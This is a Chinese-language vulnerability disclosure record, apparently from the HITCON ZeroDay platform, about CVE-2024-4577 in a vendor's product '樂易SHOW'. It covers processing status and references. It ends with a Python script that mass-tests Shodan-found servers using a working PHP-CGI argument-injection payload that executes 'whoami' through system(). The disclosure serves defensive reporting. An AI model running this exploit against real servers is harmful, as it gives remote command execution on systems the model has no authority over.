樂衍有限公司樂易SHOW CVE-2024-4577

Vulnerability Overview

ZDID: ZD-2025-00152
發信 Vendor: 樂衍有限公司
Title: 樂衍有限公司樂易SHOW CVE-2024-4577
Introduction: 旗下產品存在CVE-2024-4577漏洞，部分伺服器內發現木馬

處理狀態

目前狀態

公開

Last Update : 2025/04/10

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2025/02/08 19:42:07 : 新提交 (由 {{萌新}} 更新此狀態)
2025/02/08 19:44:37 : 新提交 (由 {{萌新}} 更新此狀態)
2025/02/09 02:09:31 : 新提交 (由 {{萌新}} 更新此狀態)
2025/02/10 12:54:03 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/02/10 16:07:17 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/02/10 16:07:17 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/04/10 03:02:28 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2025-00152
通報者：nhd1261 ({{萌新}})
風險：嚴重
類型：遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明： OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明： OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明： CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明： CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

旗下產品樂易SHOW存在CVE-2024-4577漏洞，部分伺服器內發現木馬，透過shodan掃描到在公網上有50個目標，撰寫以下腳本進行簡易測試，共有44個伺服器受影響，剩下6個連不上，但若還在使用，應該也存在漏洞。

import subprocess
# 設定 IP 清單檔案路徑
ip_file = "ips.txt"

# 讀取 IP 清單
try:
    with open(ip_file, "r") as f:
        ip_list = [line.strip() for line in f.readlines() if line.strip()]
except FileNotFoundError:
    print(f"[!] 找不到檔案: {ip_file}")
    exit(1)

# 存放受影響的 IP
vulnerable_ips = []

# 測試 CVE-2024-4577
for ip in ip_list:
    print(f"[*] 測試目標: {ip} ...")

    # 構造 curl 命令
    curl_cmd = f'curl.exe -k -o - "http://{ip}:8000/php-cgi/php-cgi.exe?%ADd+disable_functions%3d%26+%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" --data "<?php system(\'whoami\'); die(); ?>"'

    try:
        # 執行 curl 命令
        result = subprocess.run(curl_cmd, shell=True, capture_output=True, text=True, timeout=5)

        # 檢查回應是否包含 whoami 輸出 (如 "nt authority\system")
        if result.stdout.strip():
            print(f"[+] {ip} 受影響！回應: {result.stdout.strip()}")
            vulnerable_ips.append(ip)
        else:
            print(f"[-] {ip} 未受影響")

    except subprocess.TimeoutExpired:
        print(f"[!] {ip} 連線超時")
    except Exception as e:
        print(f"[!] {ip} 測試時發生錯誤: {str(e)}")

# 輸出受影響的 IP 數量
print("\n===============================")
print(f"共有 {len(vulnerable_ips)} 個目標受 CVE-2024-4577 影響：")
for ip in vulnerable_ips:
    print(f"- {ip}")